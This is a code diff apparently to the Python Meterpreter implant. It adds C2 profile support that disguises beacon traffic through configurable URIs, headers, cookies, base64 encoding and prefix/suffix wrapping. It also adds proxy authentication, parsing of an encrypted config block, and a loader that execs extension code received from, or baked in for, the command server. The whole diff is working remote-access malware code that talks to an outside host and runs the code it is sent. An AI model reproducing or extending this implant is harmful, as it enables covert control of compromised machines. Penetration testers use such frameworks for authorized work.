+ opts['enc_outbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_OUTBOUND).get('value', C2_ENCODING_NONE)
+ opts['enc_uuid'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_UUID).get('value', C2_ENCODING_NONE)
+ opts['uuid_prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_PREFIX).get('value', '')
+ opts['uuid_suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_SUFFIX).get('value', '')
+ opts['prefix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX_SKIP).get('value', 0)
+ opts['suffix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX_SKIP).get('value', 0)
+ opts['prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX).get('value')
+ opts['suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX).get('value')
+ opts['uuid_get'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_GET).get('value')
+ opts['uuid_header'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_HEADER).get('value')
+ opts['uuid_cookie'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_COOKIE).get('value')
+ return opts
+
@staticmethod
def from_request(request):
url = packet_get_tlv(request, TLV_TYPE_C2_URL)['value']
@@ -908,22 +965,34 @@ def from_request(request):
transport = TcpTransport(url)
elif url.startswith('http'):
proxy = packet_get_tlv(request, TLV_TYPE_C2_PROXY_URL).get('value')
- user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value', HTTP_USER_AGENT)
+ proxy_user = packet_get_tlv(request, TLV_TYPE_C2_PROXY_USER).get('value')
+ proxy_pass = packet_get_tlv(request, TLV_TYPE_C2_PROXY_PASS).get('value')
+ user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value')
http_headers = packet_get_tlv(request, TLV_TYPE_C2_HEADERS).get('value', None)
- transport = HttpTransport(url, proxy=proxy, user_agent=user_agent)
+ transport = HttpTransport(url, proxy=proxy, proxy_user=proxy_user, proxy_pass=proxy_pass,
+ user_agent=user_agent)
if http_headers:
headers = {}
for h in http_headers.strip().split("\r\n"):
p = h.split(':')
- headers[p[0].upper()] = ''.join(p[1:0])
+ headers[p[0].upper()] = ':'.join(p[1:]).strip()
http_host = headers.get('HOST')
http_cookie = headers.get('COOKIE')
http_referer = headers.get('REFERER')
- transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host,
+ transport = HttpTransport(url, proxy=proxy, proxy_user=proxy_user, proxy_pass=proxy_pass,
+ user_agent=user_agent, http_host=http_host,
http_cookie=http_cookie, http_referer=http_referer)
+ # Parse C2 profile GET/POST sub-groups if present
+ get_group = packet_get_tlv(request, TLV_TYPE_C2_GET)
+ if get_group:
+ transport.c2_get = Transport._parse_c2_verb_options(get_group['value'])
+ post_group = packet_get_tlv(request, TLV_TYPE_C2_POST)
+ if post_group:
+ transport.c2_post = Transport._parse_c2_verb_options(post_group['value'])
transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT)
transport.retry_total = packet_get_tlv(request, TLV_TYPE_C2_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL)
transport.retry_wait = packet_get_tlv(request, TLV_TYPE_C2_RETRY_WAIT).get('value', SESSION_RETRY_WAIT)
+ transport.c2_uuid = packet_get_tlv(request, TLV_TYPE_C2_UUID).get('value')
return transport
def _activate(self):
@@ -956,18 +1025,7 @@ def deactivate(self):
return True
def decrypt_packet(self, pkt):
- if pkt and len(pkt) > PACKET_HEADER_SIZE:
- xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE])
- raw = xor_bytes(xor_key, pkt)
- enc_offset = PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE
- enc_flag = struct.unpack('>I', raw[enc_offset:enc_offset+PACKET_ENCRYPT_FLAG_SIZE])[0]
- if enc_flag == ENC_AES256:
- iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16]
- encrypted = raw[PACKET_HEADER_SIZE+len(iv):]
- return AES_CBC(self.aes_key).decrypt(iv, encrypted)
- else:
- return raw[PACKET_HEADER_SIZE:]
- return None
+ return decrypt_packet(pkt, self.aes_key)
def get_packet(self):
self.request_retire = False
@@ -1035,7 +1093,8 @@ def tlv_pack_transport_group(self):
return trans_group
class HttpTransport(Transport):
- def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_referer=None, http_cookie=None):
+ def __init__(self, url, proxy=None, proxy_user=None, proxy_pass=None,
+ user_agent=None, http_host=None, http_referer=None, http_cookie=None):
super(HttpTransport, self).__init__()
opener_args = []
scheme = url.split(':', 1)[0]
@@ -1047,8 +1106,15 @@ def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_refere
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if proxy:
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
- opener_args.append(urllib.ProxyBasicAuthHandler())
+ if proxy_user is not None and proxy_pass is not None:
+ pw_mgr = urllib.HTTPPasswordMgrWithDefaultRealm()
+ pw_mgr.add_password(None, proxy, proxy_user, proxy_pass)
+ opener_args.append(urllib.ProxyBasicAuthHandler(pw_mgr))
+ else:
+ opener_args.append(urllib.ProxyBasicAuthHandler())
self.proxy = proxy
+ self.proxy_user = proxy_user
+ self.proxy_pass = proxy_pass
opener = urllib.build_opener(*opener_args)
opener.addheaders = []
if user_agent:
@@ -1065,6 +1131,93 @@ def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_refere
self._http_request_headers['Host'] = http_host
self._first_packet = None
self._empty_cnt = 0
+ self.c2_get = None
+ self.c2_post = None
+
+ @staticmethod
+ def _c2_encode(data, enc_flags):
+ if enc_flags == C2_ENCODING_B64:
+ return base64.b64encode(data)
+ elif enc_flags == C2_ENCODING_B64URL:
+ return base64.urlsafe_b64encode(data).rstrip(b'=')
+ return data
+
+ @staticmethod
+ def _c2_decode(data, enc_flags):
+ if enc_flags == C2_ENCODING_B64:
+ return base64.b64decode(data)
+ elif enc_flags == C2_ENCODING_B64URL:
+ # Add padding back for base64url
+ padding = 4 - (len(data) % 4)
+ if padding != 4:
+ data = data + b'=' * padding
+ return base64.urlsafe_b64decode(data)
+ return data
+
+ @staticmethod
+ def _render_uuid(c2_opts, uuid):
+ """Apply the profile's UUID transform (encode + prepend + append).
+ prefix/suffix are profile strings; the encoded UUID is base64/base64url
+ ASCII — everything lives in the string domain."""
+ if not uuid:
+ return ''
+ enc = c2_opts.get('enc_uuid', C2_ENCODING_NONE)
+ prefix = c2_opts.get('uuid_prefix') or ''
+ suffix = c2_opts.get('uuid_suffix') or ''
+ uuid_bytes = uuid.encode() if is_str(uuid) else uuid
+ encoded = HttpTransport._c2_encode(uuid_bytes, enc)
+ if isinstance(encoded, bytes):
+ encoded = encoded.decode('latin-1')
+ return prefix + encoded + suffix
+
+ def _build_request_url(self, c2_opts, uuid=None):
+ """Build the request URL using C2 profile options."""
+ # Start with the base URL (scheme://host:port) — the profile's
+ # per-verb `set uri` is the authoritative path, so LURI from
+ # self.url is intentionally discarded here.
+ match = re.match(r'(https?://[^/]+)', self.url)
+ base_url = match.group(1) if match else self.url
+ # Pick one of the profile's candidate URIs at random per request.
+ uris = c2_opts.get('uris') or []
+ uri = random.choice(uris) if uris else ''
+ url = base_url + '/' + uri.lstrip('/')
+
+ rendered = self._render_uuid(c2_opts, uuid) if uuid else ''
+ # No param/header/cookie placement => id is carried in the URI.
+ if rendered and c2_opts.get('uuid_get'):
+ separator = '&' if '?' in url else '?'
+ url = url + separator + c2_opts['uuid_get'] + '=' + rendered
+ elif rendered and not (c2_opts.get('uuid_header') or c2_opts.get('uuid_cookie')):
+ url = url.rstrip('/') + '/' + rendered
+ return url
+
+ def _build_request_headers(self, c2_opts, uuid=None):
+ """Build request headers from C2 profile options."""
+ headers = dict(self._http_request_headers)
+ if c2_opts.get('headers'):
+ for h in c2_opts['headers'].strip().split("\r\n"):
+ p = h.split(':')
+ headers[p[0].strip()] = ':'.join(p[1:]).strip()
+ if c2_opts.get('ua'):
+ headers['User-Agent'] = c2_opts['ua']
+ rendered = self._render_uuid(c2_opts, uuid) if uuid else ''
+ if rendered and c2_opts.get('uuid_header'):
+ headers[c2_opts['uuid_header']] = rendered
+ if rendered and c2_opts.get('uuid_cookie'):
+ cookie_val = c2_opts['uuid_cookie'] + '=' + rendered
+ existing = headers.get('Cookie')
+ headers['Cookie'] = existing + '; ' + cookie_val if existing else cookie_val
+ return headers
+
+ def _get_uuid(self):
+ # Prefer the on-the-fly C2 UUID; fall back to the one in the URL.
+ if self.c2_uuid:
+ return self.c2_uuid
+ match = re.match(r'https?://[^/]+/(.*?)/?$', self.url)
+ if match:
+ extracted = match.group(1).split('/')[-1]
+ return extracted
+ return ''
def _get_packet(self):
if self._first_packet:
@@ -1072,26 +1225,55 @@ def _get_packet(self):
self._first_packet = None
return packet
packet = None
- xor_key = None
url_h = None
- request = urllib.Request(self.url, None, self._http_request_headers)
+
+ if self.c2_get:
+ uuid = self._get_uuid()
+ url = self._build_request_url(self.c2_get, uuid)
+ headers = self._build_request_headers(self.c2_get, uuid)
+ debug_print('[GET] uuid=%r url=%s headers=%r' % (uuid, url, headers))
+ else:
+ url = self._non_c2_url()
+ headers = self._http_request_headers
+ debug_print('[GET] (non-c2) url=%s' % url)
+
+ request = urllib.Request(url, None, headers)
urlopen_kwargs = {}
if sys.version_info > (2, 6):
urlopen_kwargs['timeout'] = self.communication_timeout
try:
url_h = urllib.urlopen(request, **urlopen_kwargs)
if url_h.code == 200:
- packet = url_h.read()
+ raw_response = url_h.read()
+ debug_hexdump('[GET] raw response body', raw_response)
+ # Strip C2 profile prefix/suffix from response if configured
+ if self.c2_get:
+ prefix_skip = self.c2_get.get('prefix_skip', 0)
+ suffix_skip = self.c2_get.get('suffix_skip', 0)
+ end = len(raw_response) - suffix_skip if suffix_skip else len(raw_response)
+ raw_response = raw_response[prefix_skip:end]
+ debug_print('[GET] after strip prefix_skip=%d suffix_skip=%d' % (prefix_skip, suffix_skip))
+ debug_hexdump('[GET] stripped (pre-decode)', raw_response)
+ enc_in = self.c2_get.get('enc_inbound', C2_ENCODING_NONE)
+ if enc_in != C2_ENCODING_NONE:
+ raw_response = self._c2_decode(raw_response, enc_in)
+ debug_hexdump('[GET] decoded (enc_inbound=%d)' % enc_in, raw_response)
+
+ packet = raw_response
if len(packet) < PACKET_HEADER_SIZE:
+ debug_print('[GET] packet too short (%d < %d), discarding' % (len(packet), PACKET_HEADER_SIZE))
packet = None # looks corrupt
else:
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF + PACKET_LENGTH_SIZE])[0] - 8
if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
+ debug_print('[GET] length mismatch: hdr says %d, have %d, discarding' % (pkt_length + PACKET_HEADER_SIZE, len(packet)))
packet = None # looks corrupt
- except:
- debug_traceback('[-] failure to receive packet from ' + self.url)
+ else:
+ debug_print('[GET] valid packet, len=%d' % len(packet))
+ except Exception as e:
+ debug_traceback('[-] failure to receive packet from ' + url)
if not packet:
if url_h and url_h.code == 200:
@@ -1106,7 +1288,23 @@ def _get_packet(self):
return packet
def _send_packet(self, packet):
- request = urllib.Request(self.url, packet, self._http_request_headers)
+ if self.c2_post:
+ uuid = self._get_uuid()
+ url = self._build_request_url(self.c2_post, uuid)
+ headers = self._build_request_headers(self.c2_post, uuid)
+ # Encode the packet based on C2 profile encoding flags
+ body = self._c2_encode(packet, self.c2_post.get('enc_outbound', C2_ENCODING_NONE))
+ # Wrap with prefix/suffix
+ prefix = self.c2_post.get('prefix') or b''
+ suffix = self.c2_post.get('suffix') or b''
+ if prefix or suffix:
+ body = prefix + body + suffix
+ else:
+ url = self._non_c2_url()
+ headers = self._http_request_headers
+ body = packet
+
+ request = urllib.Request(url, body, headers)
urlopen_kwargs = {}
if sys.version_info > (2, 6):
urlopen_kwargs['timeout'] = self.communication_timeout
@@ -1114,12 +1312,18 @@ def _send_packet(self, packet):
response = url_h.read()
def patch_uuid(self, new_uuid):
- match = re.match(r'https?://[^/]+(/.*$)', self.url)
- if match is None:
- return False
- self.url = self.url[:match.span(1)[0]] + '/' + new_uuid
+ # Like metsrv request_core_patch_uuid: only swap the UUID. The URL is
+ # rebuilt from the (untouched) base each request, so the base path /
+ # LURI and any cookie/header/get-param placement stay intact.
+ self.c2_uuid = new_uuid
return True
+ def _non_c2_url(self):
+ # No C2 profile: rebuild base/ every request (metsrv generate_uri
+ # equivalent) so a patched UUID is honoured without mutating self.url.
+ base = self.url.rstrip('/').rsplit('/', 1)[0]
+ return base + '/' + self._get_uuid()
+
def tlv_pack_transport_group(self):
trans_group = super(HttpTransport, self).tlv_pack_transport_group()
if self.user_agent:
@@ -1519,10 +1723,15 @@ def _core_native_arch(self, request, response):
def _core_patch_uuid(self, request, response):
if not isinstance(self.transport, HttpTransport):
+ debug_print('[PATCH_UUID] transport is not HttpTransport (%r), ignoring' % type(self.transport).__name__)
return ERROR_FAILURE, response
- new_uuid = packet_get_tlv(request, TLV_TYPE_C2_UUID)['value']
- if not self.transport.patch_uuid(new_uuid):
+ uuid_tlv = packet_get_tlv(request, TLV_TYPE_C2_UUID)
+ new_uuid = uuid_tlv.get('value')
+ debug_print('[PATCH_UUID] old c2_uuid=%r -> new=%r' % (self.transport.c2_uuid, new_uuid))
+ if not new_uuid or not self.transport.patch_uuid(new_uuid):
+ debug_print('[PATCH_UUID] patch failed (new_uuid=%r)' % new_uuid)
return ERROR_FAILURE, response
+ debug_print('[PATCH_UUID] patched; c2_uuid now=%r' % self.transport.c2_uuid)
return ERROR_SUCCESS, response
def _core_negotiate_tlv_encryption(self, request, response):
@@ -1539,13 +1748,11 @@ def _core_negotiate_tlv_encryption(self, request, response):
debug_print('[*] finished negotiating TLV encryption')
return ERROR_SUCCESS, response
- def _core_loadlib(self, request, response):
- data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
- if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
- return ERROR_FAILURE, response
-
+ def load_extension(self, data):
+ """Exec extension source bytes in the meterpreter symbol namespace.
+ Returns the libname that registered itself (or None)."""
libname = '???'
- match = re.search(r'^meterpreter\.register_extension\(\'([a-zA-Z0-9]+)\'\)$', str(data_tlv['value']), re.MULTILINE)
+ match = re.search(r'^meterpreter\.register_extension\(\'([a-zA-Z0-9]+)\'\)$', str(data), re.MULTILINE)
if match is not None:
libname = match.group(1)
@@ -1553,8 +1760,15 @@ def _core_loadlib(self, request, response):
symbols_for_extensions = {'meterpreter': self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
- i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))
- extension_name = self.last_registered_extension
+ i.runcode(compile(data, 'ext_server_' + libname + '.py', 'exec'))
+ return self.last_registered_extension
+
+ def _core_loadlib(self, request, response):
+ data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
+ if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
+ return ERROR_FAILURE, response
+
+ extension_name = self.load_extension(data_tlv['value'])
if extension_name:
check_extension = lambda x: x.startswith(extension_name)
@@ -1722,6 +1936,8 @@ def _core_channel_tell(self, request, response):
def create_response(self, request):
response = struct.pack('>I', PACKET_TYPE_RESPONSE)
commd_id_tlv = packet_get_tlv(request, TLV_TYPE_COMMAND_ID)
+ debug_hexdump('[REQ] incoming packet (post-decrypt TLVs)', request)
+ debug_print('[REQ] command id=%r name=%r' % (commd_id_tlv.get('value'), cmd_id_to_string(commd_id_tlv.get('value')) if commd_id_tlv else None))
response += tlv_pack(commd_id_tlv)
response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
@@ -1756,6 +1972,43 @@ def create_response(self, request):
debug_print("[*] sending response packet")
return response + tlv_pack(TLV_TYPE_RESULT, result)
+def parse_config_block(raw):
+ config_bytes = decrypt_packet(raw)
+
+ config = {}
+
+ uuid_tlv = packet_get_tlv(config_bytes, TLV_TYPE_UUID)
+ config['uuid'] = uuid_tlv.get('value', b'\x00' * 16)
+
+ guid_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SESSION_GUID)
+ config['session_guid'] = guid_tlv.get('value', b'\x00' * 16)
+
+ expiry_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SESSION_EXPIRY)
+ config['session_expiry'] = expiry_tlv.get('value', SESSION_EXPIRATION_TIMEOUT)
+
+ debug_tlv = packet_get_tlv(config_bytes, TLV_TYPE_DEBUG_LOG)
+ config['debug_log'] = debug_tlv.get('value')
+
+ key_tlv = packet_get_tlv(config_bytes, TLV_TYPE_SYM_KEY)
+ config['sym_key'] = key_tlv.get('value')
+
+ transports = []
+ for c2_tlv in packet_enum_tlvs(config_bytes, TLV_TYPE_C2):
+ transport = Transport.from_request(c2_tlv['value'])
+ transports.append(transport)
+ config['transports'] = transports
+
+ extensions = []
+ for ext_tlv in packet_enum_tlvs(config_bytes, TLV_TYPE_EXTENSION):
+ data_tlv = packet_get_tlv(ext_tlv['value'], TLV_TYPE_DATA)
+ if (data_tlv.get('type', 0) & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
+ continue
+ data = data_tlv.get('value')
+ extensions.append(data) if data else None
+ config['extensions'] = extensions
+
+ return config
+
class AES_CBC(object):
nrs = {16: 10, 24: 12, 32: 14}
S = [
@@ -2029,6 +2282,7 @@ def encrypt(self, pt):
l = 256 - len(h) - len(pt) - len(d)
p = os.urandom(512).replace(struct.pack('B', 0), struct.pack(''))
return self._i2b(pow(self.b2i(h + p[:l] + d + pt), e, m))
+# PATCH-SETUP-ENCRYPTION #
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
@@ -2038,12 +2292,34 @@ def encrypt(self, pt):
except OSError:
pass
- if HTTP_CONNECTION_URL and has_urllib:
- transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT,
- http_host=HTTP_HOST, http_referer=HTTP_REFERER, http_cookie=HTTP_COOKIE)
- else:
- # PATCH-SETUP-STAGELESS-TCP-SOCKET #
- transport = TcpTransport.from_socket(s)
+ config = parse_config_block(base64.b64decode(CONFIG_BLOCK))
+ PAYLOAD_UUID = binascii.b2a_hex(config['uuid']).decode('UTF-8')
+ SESSION_GUID = binascii.b2a_hex(config['session_guid']).decode('UTF-8')
+ if config.get('debug_log'):
+ DEBUGGING = True
+ DEBUGGING_LOG_FILE_PATH = config['debug_log']
+ logging.basicConfig(level=logging.DEBUG)
+ if DEBUGGING_LOG_FILE_PATH:
+ _dbg_fh = logging.FileHandler(DEBUGGING_LOG_FILE_PATH)
+ _dbg_fh.setLevel(logging.DEBUG)
+ logging.getLogger().addHandler(_dbg_fh)
+ transport = config['transports'][0]
+ # PATCH-SETUP-STAGELESS-TCP-SOCKET #
+ # For staged/stageless TCP payloads where the socket `s` is already
+ # established (by the stager or by the patched code above), bind it
+ # to the transport instead of reconnecting.
+ if isinstance(transport, TcpTransport) and 's' in globals():
+ transport.socket = s
met = PythonMeterpreter(transport)
- # PATCH-SETUP-TRANSPORTS #
+ met.session_expiry_time = config['session_expiry']
+ met.session_expiry_end = time.time() + config['session_expiry']
+ for t in config['transports'][1:]:
+ met.transports.append(t)
+ # Hot-load any extensions baked into the config block (EXTENSIONS=)
+ # before opening the C2 session, so the framework sees them at connect.
+ for ext_data in config.get('extensions', []):
+ try:
+ met.load_extension(ext_data)
+ except Exception:
+ debug_traceback('[-] failed to load baked extension')
met.run()